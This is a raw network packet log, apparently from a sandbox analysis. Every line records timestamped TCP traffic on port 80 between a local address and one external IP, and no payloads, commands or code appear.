Oct 29, 2021 17:56:16.168967009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.168996096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169056892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169059992 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169076920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169096947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169106007 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169116020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169131994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169148922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169167042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169167042 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169183969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169198036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169228077 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169259071 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169377089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169399023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169415951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169434071 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169450998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169469118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169475079 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169483900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169527054 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169574022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169593096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169610977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169622898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169625044 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169653893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.169974089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.169997931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170016050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170027971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170038939 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170075893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170120955 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170172930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170223951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170242071 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170254946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170288086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170310020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170357943 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170434952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170455933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170468092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170502901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170506954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170527935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170545101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170553923 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170564890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170597076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170598030 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170615911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170629978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.170644999 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.170682907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171034098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171058893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171076059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171087980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171128035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171144009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171149969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171169996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171181917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171197891 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171227932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171298981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171408892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171428919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171441078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171458006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171459913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171477079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171490908 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171494961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171509981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171533108 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171561956 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171606064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171739101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171802044 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.171875954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171892881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171907902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171921968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171935081 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171946049 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.171982050 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.172003984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172039986 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.172202110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172225952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172236919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172255039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172267914 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.172275066 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172293901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172303915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.172307968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.172359943 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.172390938 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.210757971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.210820913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.210834026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.210844040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.210856915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.210973024 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.540934086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.543133020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.603524923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.605357885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.743280888 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.810626984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.810664892 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.873208046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.873271942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987715960 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987770081 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987812996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987834930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987854958 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.987857103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987876892 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.987880945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987900019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987921000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987924099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.987943888 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987967014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.987970114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.987987041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.988013029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040170908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040200949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040225029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040246964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040270090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040288925 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040307045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040323973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040345907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040368080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040390015 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040401936 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040425062 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040435076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040457964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040482998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040491104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040513992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040532112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040548086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040570974 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040589094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040607929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040625095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040648937 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040842056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040889025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040903091 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.040926933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040945053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.040971994 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.041049004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.041073084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.041100025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.041107893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.041126013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.041145086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.092720985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092755079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092776060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092794895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092816114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092837095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092870951 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.092894077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092946053 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.092966080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.092978001 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.092999935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093046904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093055964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093080044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093102932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093125105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093128920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093146086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093166113 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093177080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093198061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093220949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093256950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093266964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093290091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093300104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093322039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093343973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093353987 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093369007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093390942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093395948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093419075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093442917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093458891 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093476057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093497992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093507051 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093529940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093549967 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093571901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093595982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093619108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093632936 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093652964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093664885 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093679905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093703032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093724966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093749046 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093759060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093775034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093790054 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093841076 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.093929052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093950987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093972921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.093988895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.094022989 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.094067097 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.102976084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103116989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103142023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103163958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103183985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103202105 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.103228092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103259087 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.103277922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103307962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103332043 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.103351116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103368998 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.103396893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.103455067 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.145669937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145678997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145687103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145720959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145734072 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.145768881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145808935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145827055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145838976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.145863056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145874977 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.145895004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145912886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145925999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145935059 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.145946980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145963907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.145972013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146023035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146048069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146061897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146080017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146092892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146099091 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146114111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146128893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146136045 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146152020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146167994 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146178007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146192074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146208048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146254063 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146274090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146291971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146375895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146403074 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146441936 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146466970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146480083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146492004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146497965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146512985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146562099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146574974 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146584988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146611929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146648884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146673918 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146728992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146766901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146802902 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146842003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146874905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146898031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146920919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146930933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.146945953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.146975994 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.155169010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.155201912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.155246019 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.155275106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.155301094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.155333042 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.155358076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.155381918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.155427933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.158710957 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.158747911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.158770084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.158782959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.158823013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.158855915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.197942019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.197982073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198003054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198035002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198056936 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198081017 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198112011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198129892 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198138952 CEST	80	49856	45.141.84.21	192.168.2.6
